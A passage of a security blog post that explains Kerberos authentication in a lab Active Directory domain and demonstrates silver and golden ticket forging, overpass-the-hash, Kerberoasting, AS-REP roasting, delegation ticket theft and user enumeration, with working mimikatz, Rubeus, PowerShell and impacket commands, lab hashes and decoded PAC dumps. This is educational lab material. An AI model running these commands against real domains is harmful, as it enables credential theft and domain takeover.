c3f83aca48b24d411368a95354db446a6450896969644c8892914b974a066ddce78ecd738f76546153095f70177630b6d8d961a806f2b959be6e2a3c73d430f1dae9b562876ff602966f48d65fd33af396ed31c79ca2a8bf409e04779ec0d978f3624441645f290d11b20f5847ea0211d8377ad61127dcbf02a1fa8ab2b7ed51ed9abf0d484c5ac3315d1b864b55d598f6b705509c37fb88eddc65ddb136c090e285c33968f32e1816e29fbcfa307f0cdef28fa7d6b0d54cf1c525e6be479a1"
jnk = cipher.decrypt(key, 2, unhexlify(mycipher))
dec = decoder.decode(jnk)[0]
print "------------------- Ticket Data ------------------"
print dec

pacData = dec['field-9'][0]['field-1']
decAuthData = decoder.decode(pacData)[0][0]['field-1']
pacBuffers = PACTYPE(str(decAuthData))
pacBuffer = pacBuffers['Buffers']
pacBufferHex = hexlify(pacBuffer)
dword = 8
buff = []
for i in range(0,32,dword):
  buffstr = pacBufferHex[i:i+dword]
  buffint = int(buffstr,16)
  buffstr = hexlify(struct.pack('<L',buffint))
  buffint = int(buffstr,16)
  buff.append(buffint)

pacInfoList = buff
authDataLength = pacInfoList[1]
authDataOffset = pacInfoList[2]
authDataEnd = (authDataLength * 2) - 40
offsetStart = 24 + authDataOffset*2
authDataHex = pacBufferHex[offsetStart:offsetStart+authDataEnd]
print "------------------- PAC Data ------------------"
finalValidationInfo = VALIDATION_INFO()
finalValidationInfo.fromStringReferents(unhexlify(authDataHex))
finalValidationInfo.dump()

Output is

VALIDATION_INFO 
CommonHeader:                   
    Version:                         1 
    Endianness:                      16 
    CommonHeaderLength:              8 
    Filler:                          3435973836 
PrivateHeader:                  
    ObjectBufferLength:              0 
    Filler:                          3435973836 
Data:                           
    LogonTime:                      
        dwLowDateTime:                   2905707874 
        dwHighDateTime:                  30808641 
    LogoffTime:                     
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    KickOffTime:                    
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    PasswordLastSet:                
        dwLowDateTime:                   3611792846 
        dwHighDateTime:                  30806234 
    PasswordCanChange:              
        dwLowDateTime:                   28399054 
        dwHighDateTime:                  30806436 
    PasswordMustChange:             
        dwLowDateTime:                   3433108942 
        dwHighDateTime:                  30814683 
    EffectiveName:                   u'win10user' 
    FullName:                        u'' 
    LogonScript:                     u'' 
    ProfilePath:                     u'' 
    HomeDirectory:                   u'' 
    HomeDirectoryDrive:              u'' 
    LogonCount:                      79 
    BadPasswordCount:                0 
    UserId:                          1104 
    PrimaryGroupId:                  513 
    GroupCount:                      1 
    GroupIds:                       
        [
             
            RelativeId:                      513 
            Attributes:                      7 ,
        ] 
    UserFlags:                       32 
    UserSessionKey:                 
        Data:                            '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 
    LogonServer:                     u'DC' 
    LogonDomainName:                 u'JNKFO' 
    LogonDomainId:                  
        Revision:                        1 
        SubAuthorityCount:               4 
        IdentifierAuthority:             '\x00\x00\x00\x00\x00\x05' 
        SubAuthority:                   
            [
                 21,
                 3178339118,
                 3033626349,
                 2532976716,
            ] 
    LMKey:                           '\x00\x00\x00\x00\x00\x00\x00\x00' 
    UserAccountControl:              16 
    SubAuthStatus:                   0 
    LastSuccessfulILogon:           
        dwLowDateTime:                   0 
        dwHighDateTime:                  0 
    LastFailedILogon:               
        dwLowDateTime:                   0 
        dwHighDateTime:                  0 
    FailedILogonCount:               0 
    Reserved3:                       0 
    SidCount:                        1 
    ExtraSids:                      
        [
             
            Sid:                            
                Revision:                        1 
                SubAuthorityCount:               1 
                IdentifierAuthority:             '\x00\x00\x00\x00\x00\x12' 
                SubAuthority:                   
                    [
                         1,
                    ] 
            Attributes:                      7 ,
        ] 
    ResourceGroupDomainSid:          NULL 
    ResourceGroupCount:              0 
    ResourceGroupIds:                NULL

It’s up to the service to use this information to validate the user’s privileges, impersonate, or delegate the logged-on user.
As you also noticed earlier, the PAC can be found only on the TGT and the TGS, mean that in the 1st case it’s encrypted with the krbtgt key, and the other it’s encrypted using the service key.
So there is no way for the user to manipulate the PAC without getting any of these couple keys, this will come handy later.
PAC is rarely required to validate the TGS data.
if it was used for validation, an extra request is made by the server to the KDC to validate the ticket’s info.

You can obtain any user’s PAC using
python getPac.py -targetUser administrator jnkfo.lab/win10user:”[email protected]

or using Kekeo

tgt::ask /user:[email protected] /password:[email protected]
tgs::s4u /tgt:[email protected]@[email protected] /user:administrator /pac

Kerberos attacks

Silver ticket

If you noticed the Kerberos authentication flow, you should have noticed that we split it into 2 parts summarized in the following image


The 1st part, Client <—> KDC
This part resulted in the Client has a copy of the TGS which is encrypted using the service’s key along with the plaintext

  • Service session key
  • Timestamp
  • Lifetime
  • Service name

The 2nd part, Client <–> Service, This is the more interesting part for the silver ticket.
To authenticate to the service, the client sends a copy of the TGS which is encrypted using the service key as prementioned (Message E) and contains

  • Service session key
  • Username
  • Timestamp
  • Lifetime
  • PAC information

and the authenticator message (message G) which is encrypted using the Service session key and contains

  • username
  • Timestamp

So the actual service authentication part starts at step 5, and all it’s needed is the service secret key.
if you have a service secret key, you may just create a random session key, add it to your own Service ticket, encrypt it with the service’s secret, and send it to the service while authenticating.
As all the service will do is just trying to decrypt that ticket with its own key, which will work because it’s the same key you used while encrypting the ticket, then use the session key (which you generated) to decrypt the authenticator message as prementioned!
That’s how easy it’s
A demo will make it easier, I have win10 machine key, will use it to create a silver ticket to access it without even making a single connection to the KDC!

This is the current tickets in that session, and am getting access denied whenever accessing SMB over my machine.

To create ticket I will use mimikatz

kerberos::golden /user:administrator /domain:jnkfo.lab /sid:S-1-5-21-3178339118-3033626349-2532976716 /target:win10.jnkfo.lab /rc4:1ad9c160bd7ab9cb4b7c890c96862305 /service:cifs

  • user: Username, this can be any user, even invalid one will work.
  • domain: The domain name
  • sid: Domain sid, can be obtained via many methods, whoami /user is one.
  • target: Target machine
  • rc4: NTLM hash of the target service
  • Service: The service name, cifs as am accessing filesharing service

Executing this will result in

and no Kerberos packets are sent to the KDC, as you don’t need to talk to KDC at all, You got your own TGS and that’s all.

So you’ll find that only the ticket and authenticator were sent directly to the target machine.

If you checked the ticket’s PAC you’ll find

VALIDATION_INFO 
CommonHeader:                   
    Version:                         1 
    Endianness:                      16 
    CommonHeaderLength:              8 
    Filler:                          3435973836 
PrivateHeader:                  
    ObjectBufferLength:              0 
    Filler:                          3435973836 
Data:                           
    LogonTime:                      
        dwLowDateTime:                   3283888000 
        dwHighDateTime:                  30809500 
    LogoffTime:                     
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    KickOffTime:                    
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    PasswordLastSet:                
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    PasswordCanChange:              
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    PasswordMustChange:             
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    EffectiveName:                   u'administrator' 
    FullName:                        NULL 
    LogonScript:                     NULL 
    ProfilePath:                     NULL 
    HomeDirectory:                   NULL 
    HomeDirectoryDrive:              NULL 
    LogonCount:                      0 
    BadPasswordCount:                0 
    UserId:                          500 
    PrimaryGroupId:                  513 
    GroupCount:                      5 
    GroupIds:                       
        [
             
            RelativeId:                      513 
            Attributes:                      7 ,
             
            RelativeId:                      512 
            Attributes:                      7 ,
             
            RelativeId:                      520 
            Attributes:                      7 ,
             
            RelativeId:                      518 
            Attributes:                      7 ,
             
            RelativeId:                      519 
            Attributes:                      7 ,
        ] 
    UserFlags:                       0 
    UserSessionKey:                 
        Data:                            '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 
    LogonServer:                     NULL 
    LogonDomainName:                 u'JNKFO' 
    LogonDomainId:                  
        Revision:                        1 
        SubAuthorityCount:               4 
        IdentifierAuthority:             '\x00\x00\x00\x00\x00\x05' 
        SubAuthority:                   
            [
                 21,
                 3178339118,
                 3033626349,
                 2532976716,
            ] 
    LMKey:                           '\x00\x00\x00\x00\x00\x00\x00\x00' 
    UserAccountControl:              528 
    SubAuthStatus:                   0 
    LastSuccessfulILogon:           
        dwLowDateTime:                   0 
        dwHighDateTime:                  0 
    LastFailedILogon:               
        dwLowDateTime:                   0 
        dwHighDateTime:                  0 
    FailedILogonCount:               0 
    Reserved3:                       0 
    SidCount:                        0 
    ExtraSids:                       NULL 
    ResourceGroupDomainSid:          NULL 
    ResourceGroupCount:              0 
    ResourceGroupIds:                NULL #

The userid: 500, which is the default local administrator account’s id, and the domain admins group id 512.
So basically the ticket will tell the service that you have an admin’s account over the machine, no matter what username you used.

Golden ticket

Back to the same figure

The golden ticket is all about the TGT, if you remember, the TGT (Message B) is the info needed by the KDC to issue you the service ticket you need.
If a user with a valid TGT asks to access any service, KDC ill grant him that access.

Golden ticket attack takes part in step 3 (TGS-REQ).
The TGT is encrypted using the KRBTGT account, KDC will decrypt this and issue the service ticket with the same group memberships and validation info found in the TGT.
So, if you have the KRBTGT hash, you can forge your own TGT which includes the PAC data with any group membership you want! including domain admins!
sending this to the KDC will result in a service ticket with a domain admin group membership inside!

let’s give this a try using mimikatz

kerberos::golden /domain:jnkfo.lab /sid:S-1-5-21-3178339118-3033626349-2532976716 /rc4:53de9e86989349da8d705da4e238dede /user:invalidusername /ticket:golden.kirbi /ptt

No new options here just removed the /service option used in the silver ticket.

I will try to dir the c$ on the domain controller which requires a domain admin to do so.

You will notice that the TGS-REQ and TGS-REP messages were sent and received to and from the KDC before moving to the target machine, and that’s a difference between the silver and golden ticket
in the golden ticket you’re not restricted to a single service, you got the KRBTGT, you can create your own TGT, so you can create a TGS for whatever service you want

If we viewed the ticket’s contents we will find the following PAC inside

CommonHeader:                   
    Version:                         1 
    Endianness:                      16 
    CommonHeaderLength:              8 
    Filler:                          3435973836 
PrivateHeader:                  
    ObjectBufferLength:              0 
    Filler:                          3435973836 
Data:                           
    LogonTime:                      
        dwLowDateTime:                   2159116928 
        dwHighDateTime:                  30809507 
    LogoffTime:                     
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    KickOffTime:                    
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    PasswordLastSet:                
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    PasswordCanChange:              
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    PasswordMustChange:             
        dwLowDateTime:                   4294967295 
        dwHighDateTime:                  2147483647 
    EffectiveName:                   u'invalidusername' 
    FullName:                        NULL 
    LogonScript:                     NULL 
    ProfilePath:                     NULL 
    HomeDirectory:                   NULL 
    HomeDirectoryDrive:              NULL 
    LogonCount:                      0 
    BadPasswordCount:                0 
    UserId:                          500 
    PrimaryGroupId:                  513 
    GroupCount:                      5 
    GroupIds:                       
        [
             
            RelativeId:                      513 
            Attributes:                      7 ,
             
            RelativeId:                      512 
            Attributes:                      7 ,
             
            RelativeId:                      520 
            Attributes:                      7 ,
             
            RelativeId:                      518 
            Attributes:                      7 ,
             
            RelativeId:                      519 
            Attributes:                      7 ,
        ] 
    UserFlags:                       0 
    UserSessionKey:                 
        Data:                            '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 
    LogonServer:                     NULL 
    LogonDomainName:                 u'JNKFO' 
    LogonDomainId:                  
        Revision:                        1 
        SubAuthorityCount:               4 
        IdentifierAuthority:             '\x00\x00\x00\x00\x00\x05' 
        SubAuthority:                   
            [
                 21,
                 3178339118,
                 3033626349,
                 2532976716,
            ] 
    LMKey:                           '\x00\x00\x00\x00\x00\x00\x00\x00' 
    UserAccountControl:              528 
    SubAuthStatus:                   0 
    LastSuccessfulILogon:           
        dwLowDateTime:                   0 
        dwHighDateTime:                  0 
    LastFailedILogon:               
        dwLowDateTime:                   0 
        dwHighDateTime:                  0 
    FailedILogonCount:               0 
    Reserved3:                       0 
    SidCount:                        0 
    ExtraSids:                       NULL 
    ResourceGroupDomainSid:          NULL 
    ResourceGroupCount:              0 
    ResourceGroupIds:                NULL #

Note the userid: 500, which is the default local administrator account, and the domain admins group id 512.

KDC will send this info with the TGS to the client, who will send in turn to the service while accessing.

Now by knowing about the timestamp and the lifetime of the ticket along with the info that KRBTGT account pasword isn’t usually changed frequently in AD environments, can you figure out why the golden ticket is considered as long term persistence method?

Overpass the hash

In some cases, if you got the user’s hash you may not be able to crack it or use it in pass the hash attack for many reasons.
example: disabled ntlm authentication

In this case, if you used the pass the hash technique
sekurlsa::pth /user:win10user /domain:jnkfo.lab /ntlm:e19ccf75ee54e06b06a5907af13cef42
and tried accessing the machine directly, You’ll fail

But knowing how Kerberos works, you know that by having the user’s key you may just go through the whole Kerberos authentication process.
Without bothering using the NTLM challenge-response auth.
The attack was implemented in mimikatz already and can be used also via impacket examples
To use it via mimikatz, all you will need to do is connecting to the target’s hostname instead of the direct IP, this will force Windows to use Kerberos instead of NTLM auth (Remember?!!!).

Obviously, overpass the hash take place since the AS-REQ step.
That’s how easy it’s

Kerbroasting

I mentioned earlier, that Kerberos authentication itself is all about authentication, not authorization
If you got a valid domain user, you may just ask the KDC to issue you a valid TGS for any service.
Knowing the fact that SPN attributes can be set to a specific username, and that the TGS is encrypted using service’s key (user’s key in that case)
We can issue a TGS ticket on our own machine, dump the ticket and start an offline bruteforce attack against it to retrieve the plaintext password for that user (service account)!

This has been discussed already at the following blog post

Let’s go through the process manually, I will connect to mssql service at win2012.jnkfo.lab and view the list after establishing the connection

The current user, win10user has no privs at the MSSQL DBS at all, and actually, we don’t need that as I mentioned Kerberos is all about authentication, so even low privs valid user will be able to issue a TGS for any service.
That’s one way to do it, but it’s not practical, so let’s check out a better one using only native windows stuff.
Listing the SPNs related to that machine will result in

C:\Users\win10user>setspn -F -Q */win2012*
Checking forest DC=jnkfo,DC=lab
CN=WIN2012,CN=Computers,DC=jnkfo,DC=lab
        WSMAN/win2012
        WSMAN/win2012.jnkfo.lab
        RestrictedKrbHost/WIN2012
        HOST/WIN2012
        RestrictedKrbHost/win2012.jnkfo.lab
        HOST/win2012.jnkfo.lab
CN=mssqlserver,CN=Users,DC=jnkfo,DC=lab
        MSSQLSvc/win2012.jnkfo.lab:1433
CN=dummy1,CN=Users,DC=jnkfo,DC=lab
        mssqlsvc/win2012
        xxxxx/win2012

Existing SPN found!

C:\Users\win10user>

As an attacker you will need to focus on the CN=users part, these are the crackable ones as their passwords are chooses by humans unlike the randomly generated machine keys.
Issue ticket for mssqlserver’s SPN using

Add-Type -AssemblyName System.IdentityModel;New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList "MSSQLSvc/win2012.jnkfo.lab:1433"

 

So dumping the current ticket using kerberos::list /export will result in

knowing that the ticket is encrypted using service key, you’re ready to go and start offline cracking, for sake of illustration am using john

Cool, again this isn’t the best approach for Kerbroasting (when it come to simplicity), invoke-kerbroast would do everything in a blink of an eye, but I just needed to show you how the process is done.
Refer to the following blog post for more information and references regarding Kerbroasting.

AS-REP Roasting

Before Kerberos 5, you wouldn’t see something such as KRB5KDC_ERR_PREAUTH_REQUIRED, as the preauthentication step wasn’t required.
Things were a little bit different.
In kerberos5 this is how the 1st few steps of authentication are done

The preauthentication step is required, means the client is the part who’s using the user’s hash to encrypt the timestamp.
This is the default option in Kerberos 5

But in kerberos4, and also in Kerberos 5 after modifying some options, this is what’s going on.

Once the client ask for authentication and provides username, the KDC retrieve that user’s hash and use it to encrypt a message, then send this message back to the client!!!!!
Now the client ca simply start an offline brute-force attack against that encrypted part.
This happens in Kerberos 5 (modern AD) when the following option is enabled

The “Do not require Kerberos preauthentication” option isn’t enabled by default, but once it’s ticked, this is what’s happening when you login using that user

No preauthentication requests, the KDC just encrypted the timestamp, TGS name, TGS session key, and lifetime using user’s hash.
Now the attacker can simply do an offline brute-force and retrieve the user’s plaintext password.

It’s easy to get the users with “Do not require Kerberos preauthentication” enabled using

get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True"} | select Name

Attacking these users is easy using Rubeus or using getnpusers.py
getnpusers.py can use a wordlist of usernames and try to obtain a crackable hashes for these users with the “Do not require Kerberos preauthentication” option enabled.

python GetNPUsers.py jnkfo.lab/ -usersfile userslist.txt -format john -outputfile roasted.txt -no-pass -dc-ip 192.168.18.2

Unconstrained Delegation

Delegation is the act of Service impersonating User to access another Service

Imagine a web application is used to manage shared folders for employees,
The employee logs in and he can view, edit, or delete his files which are found in another server.

So, Employee 1 login to the Web server using the HTTP service ticket,
Now the Web application needs to access the File sharing server as Employee 1 to receive his files!
To do so, it needs to get a TGS for the File sharing service, But with Employee1’s username inside!
That’s where delegation plays a part.

When enabled, delegation allows employee 1 to send his own TGT to the webserver, so the web service can use it to obtain a TGS on behave of employee 1 to access the file sharing service.
The same goes for employees 2, 3, 4 …ETC

Knowing so, once you compromise a machine with delegation option enabled

You can dump the TGTs of the users who used any service on that machine, then abuse these TGTs to act on behave of these users.
getting employee1’s TGT will allow you to issue a TGS for any service on behave of employee1, and so accessing the services he has access to.

The TGT transferring part was a little bit confusing for me, many resources declared that it’s “inside” the TGS, which I found out it’s not correct at all.
Many others just stating that the TGT and the TGS are being passed to the server, which isn’t enough info!!
so I will explain it as well, maybe someone is looking for it the same as I did.

This is how it looks like when connecting to a machine configured for unconstrained delegation

You will notice 2 TGS-REQ,
The 1st 1 is for the service we’re trying to access (CIFS)

The other one is for the krbtgt

This is the one that the server will be able to use, it’s for getting services tickets on behalf of the user.

The client will take the krbtgt TGS and embed it inside the authenticator message.
I assume you remember how the authenticator is encrypted and decrypted.
It’s encrypted using the service session key, which can be found inside the TGS, which can only be decrypted using the service account’s key.
So the client will send the 1st TGS-REP, which is the service ticket
And the Authenticator message which has the 2nd TGS-REP (TGT) inside.
The service will decrypt the TGS, obtain service session key, then use the service session key to decrypt the authenticator message and obtain the user’s TGT [krb_cred].
It caches it then for later use.
This can be summarized in the following pic, which takes place after the 1st TGS-REP received

2nd TGS-REP message (TGT) is

005344b65048b86449f7fe08544054595c6e2d5fcf532495162c1880ad69431e836b33eee70f6511d63fd424334ba4b72e9577672ed7830bd51cb33b3b33a9769b730f97c4f8cc48b6f52776814b0c50eb942bc5a44e87aaa12ee8bbe5d2cdda9aec5d2bc03ed75622ccd02c798feac7583dcf1990d5b58e9618789f01fab6cce5c1f94488162195b71cedb48101b2cf7e033ad27bd73710c803d22992d22bc946fb7166aa88c6e99a10b2846f1d19c7337c02ceb64a2ff91915176d55ec22778ce34c8fa68de349fc0aac47d36efc918f627de45996bced3ab4c888176687b66aa8777f8c293c6ab45af6adabeb92b1462d98d0f23d198cfa197e5411b936df647097bb9240953c6189e655ff668806fa0c8f1d796196386e9a2f60d503efda2d59298677ad912def4a2b13d4b825d5b6236b08bb6b8d93a59daae20b63754963121c80ca3df4ddee47541a5b47ffb4b00c7a112982d5daa89d1741100d7e57bd9b3ef6752a4fde0f2f86f64adbf7bee30a96304e1b975410f100e7d2cd7900c4e3436980b74e377fcea3bbcd5ef710fa7d81c95ef5708c686014e5b9f39b5632962bc3f187ab9b5d8a88cb89b3cb2b44673d3e8dcdecaaf0bbd93c8bd4af0ff8f58ba63fe525dfe163f4e244c575e7e8b69186571f8c0c60643ab438a8254e6051d1ffdb50d535f6543f9be9100cbfe0f5bb44ec2bc4a564fcdfc46a3555bda3032ae59b3c58f1dbeb20a8d33fd8cc05388a9c2de37b93a75d696c35bab01cb704374ebc2728a94510bab6f4c5270c27a10131a074738b26c6fc77eb43e78add1532478e5315f9509120d0e02229a803dc5388b05e6ef8f979c5fb1a2905be7471599fcffee5f37c252dd806e699b55fcb72bed8982dcbce49a129f41714e3e3971491218e447c2011fd3e24c426699858d5fa610471da03af8a6092764c4618f2868bb883dfb5979da505a31c0c129d0766eb73404200b646e396bd4b1d5c6de23898b828b578e63461708a24f426af7d43ccfec1295e783b7b1073001177a741131ca98fcc2af1f385178c5eed34a37098c8fea590ee63b0491a0b95131a39b069066c8c32250e41ded94b8d60ff923c7e691e23f614c1ed23cc4ab4b0d53f8ac0ffb53d1b2ae37e9e1501d7bb72dbcb028d6007fb37e0142037094b43fa79a45d965aa3a053c98a3e42c037d0a5ab41487344b189c05b1b1e1dc3b8e11a482127d97b659b92382344c5ff5fbebb492146519947a140242f25c730c5130b09ea28f18eaf99b3a847c877e522c3f62d06d22ea837195bc1a470c12144af9ffb820c3266c4ef381827eb76b0c6c5

Authenticator message after decryption is

Sequence:
 field-0=5
 field-1=JNKFO.LAB
 field-2=Sequence:
  field-0=1
  field-1=SequenceOf:
   win10user

 field-3=Sequence:
  field-0=32771
  field-1=0x10000000000000000000000000000000000000002300000001001a057682051630820512a003020105a103020116a282040730820403618203ff308203fba003020105a10b1b094a4e4b464f2e4c4142a21e301ca003020102a11530131b066b72627467741b094a4e4b464f2e4c4142a38203c5308203c1a003020112a103020103a28203b3048203af005344b65048b86449f7fe08544054595c6e2d5fcf532495162c1880ad69431e836b33eee70f6511d63fd424334ba4b72e9577672ed7830bd51cb33b3b33a9769b730f97c4f8cc48b6f52776814b0c50eb942bc5a44e87aaa12ee8bbe5d2cdda9aec5d2bc03ed75622ccd02c798feac7583dcf1990d5b58e9618789f01fab6cce5c1f94488162195b71cedb48101b2cf7e033ad27bd73710c803d22992d22bc946fb7166aa88c6e99a10b2846f1d19c7337c02ceb64a2ff91915176d55ec22778ce34c8fa68de349fc0aac47d36efc918f627de45996bced3ab4c888176687b66aa8777f8c293c6ab45af6adabeb92b1462d98d0f23d198cfa197e5411b936df647097bb9240953c6189e655ff668806fa0c8f1d796196386e9a2f60d503efda2d59298677ad912def4a2b13d4b825d5b6236b08bb6b8d93a59daae20b63754963121c80ca3df4ddee47541a5b47ffb4b00c7a112982d5daa89d1741100d7e57bd9b3ef6752a4fde0f2f86f64adbf7bee30a96304e1b975410f100e7d2cd7900c4e3436980b74e377fcea3bbcd5ef710fa7d81c95ef5708c686014e5b9f39b5632962bc3f187ab9b5d8a88cb89b3cb2b44673d3e8dcdecaaf0bbd93c8bd4af0ff8f58ba63fe525dfe163f4e244c575e7e8b69186571f8c0c60643ab438a8254e6051d1ffdb50d535f6543f9be9100cbfe0f5bb44ec2bc4a564fcdfc46a3555bda3032ae59b3c58f1dbeb20a8d33fd8cc05388a9c2de37b93a75d696c35bab01cb704374ebc2728a94510bab6f4c5270c27a10131a074738b26c6fc77eb43e78add1532478e5315f9509120d0e02229a803dc5388b05e6ef8f979c5fb1a2905be7471599fcffee5f37c252dd806e699b55fcb72bed8982dcbce49a129f41714e3e3971491218e447c2011fd3e24c426699858d5fa610471da03af8a6092764c4618f2868bb883dfb5979da505a31c0c129d0766eb73404200b646e396bd4b1d5c6de23898b828b578e63461708a24f426af7d43ccfec1295e783b7b1073001177a741131ca98fcc2af1f385178c5eed34a37098c8fea590ee63b0491a0b95131a39b069066c8c32250e41ded94b8d60ff923c7e691e23f614c1ed23cc4ab4b0d53f8ac0ffb53d1b2ae37e9e1501d7bb72dbcb028d6007fb37e0142037094b43fa79a45d965aa3a053c98a3e42c037d0a5ab41487344b189c05b1b1e1dc3b8e11a482127d97b659b92382344c5ff5fbebb492146519947a140242f25c730c5130b09ea28f18eaf99b3a847c877e522c3f62d06d22ea837195bc1a470c12144af9ffb820c3266c4ef381827eb76b0c6c5a381fa3081f7a003020112a281ef0481ec6556782acbf0b4f78002c3af3a7ecf35e7a18aad30a52603763b8cf600f5eb6fc830afb3e6c61f694158b5a5209059b61a9a16f4c8dcc1191a3b188ac766c0d613af144454d0682063ceb3f4ab07b0cdee1354d37f3b6ff88fee70321c6d57ded89c6efc6f92af5cac42525730636b253d0b8a357183dbfc09d0d8ca75da7ecdaee3574c50bc31b54a2c0b3139e92d5c973cd26a8fb7581d479d74cbee5f552bb6c7a791bdf8ef575646d16af7f3134282d5edbc0272c53da2887af0dce6ba2935d237a9a26eef4df3720ffa7154970a0de4aafa16a5b8c43e33303ac0c52eb78c05d0c0f8b11546c9f672dc

 field-4=468
 field-5=20200501014535Z
 field-6=Sequence:
  field-0=18
  field-1=0x52852d5447e40ee95df24c67e8400cf79f1146df958d29d3205fe8689a55325c

 field-7=900366966
 field-8=SequenceOf:
  Sequence:
   field-0=1
   field-1=0x3081b9303fa0040202008da137043530333031a003020100a12a0428010000000020000047a9dfdb7f739b0e5720ff9a17c3534c94c937ef0b55329c007b8ce1204dfac3301aa0040202008ea1120410a01978ab0a0200002b9d850300000000300ea0040202008fa106040400400000304aa00402020090a142044063006900660073002f00770069006e0032003000310032002e006a006e006b0066006f002e006c006100620040004a004e004b0046004f002e004c0041004200

You will find that the KRB_CRED is embedded inside

The authenticator checksum field SHALL have the following format:

       Octet        Name      Description
      -----------------------------------------------------------------
       0..3         Lgth    Number of octets in Bnd field;  Represented
                            in little-endian order;  Currently contains
                            hex value 10 00 00 00 (16).
       4..19        Bnd     Channel binding information, as described in
                            section 4.1.1.2.
       20..23       Flags   Four-octet context-establishment flags in
                            little-endian order as described in section
                            4.1.1.1.
       24..25       DlgOpt  The delegation option identifier (=1) in
                            little-endian order [optional].  This field
                            and the next two fields are present if and
                            only if GSS_C_DELEG_FLAG is set as described
                            in section 4.1.1.1.
       26..27       Dlgth   The length of the Deleg field in
                            little-endian order [optional].
       28..(n-1)    Deleg   A KRB_CRED message (n = Dlgth + 28)
                            [optional].
       n..last      Exts    Extensions [optional].

Reference

So assuming I compromised the machine win2012.jnkfo.lab, you will be able to dump all the TGTs Not just for the users who accessed the web service, but for any user who accessed any service used within the machine (web server).
This can be done via mimikatz sekurlsa::tickets /export

or using .\Rubeus.exe monitor /interval:1

To abuse this you can use kerberos::ptt ticket.kirbi at your attacking machine
So am using this to try accessing windows 10 machine, this pic show the action before and after passing the ticket.

Constrained delegation

To be discussed in a separated blog post

User enumeration

If you tried authenticating using invalid username, Kerberos will kill the process in the preauthentication step and you will get the following error

You can depend on that for enumerating domain users without even being part of the domain!
Practically this is very useful in many situations, as all you need is being able to connect to the KDC.

You can get the valid usernames which would save you tons of rime while bruteforcing services, along with the users with no preauth required.
That would give you a good foothold in many situations.

Conclusion

Woooo, finally it’s over.
I supposed to separate this blog into 2 or 3 parts but found out that it may be better to put as much as techniques as I can into a single post in order not to get lost between many parts related to the same topic.
I’ve discussed how Kerberos works, tried to explain it as much as I can, discussed most of the attacks directly related to Kerberos authentication.
I tried to be straight to the point as much as I can along with illustrating the stuff that was once confusing to me, hopefully, I succeded doing so.
Probably I will continue with this series, so if you guys have any comments or suggestions, or found sth wrong in this blog post (Am sure I missed something around), feel free to reach me at @0x4148
Till next time,
Ahmed

References

How the Kerberos Version 5 Authentication Protocol Works
Kerberos Authentication Overview
Kerberos for the Busy Admin
Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol
SPNs
Kerberos Principal Name Canonicalization and Cross-Realm Referrals
The Kerberos Version 5
Abusing Kerberos
And almost every single blog at posts.specterops.io

Keep reading

More >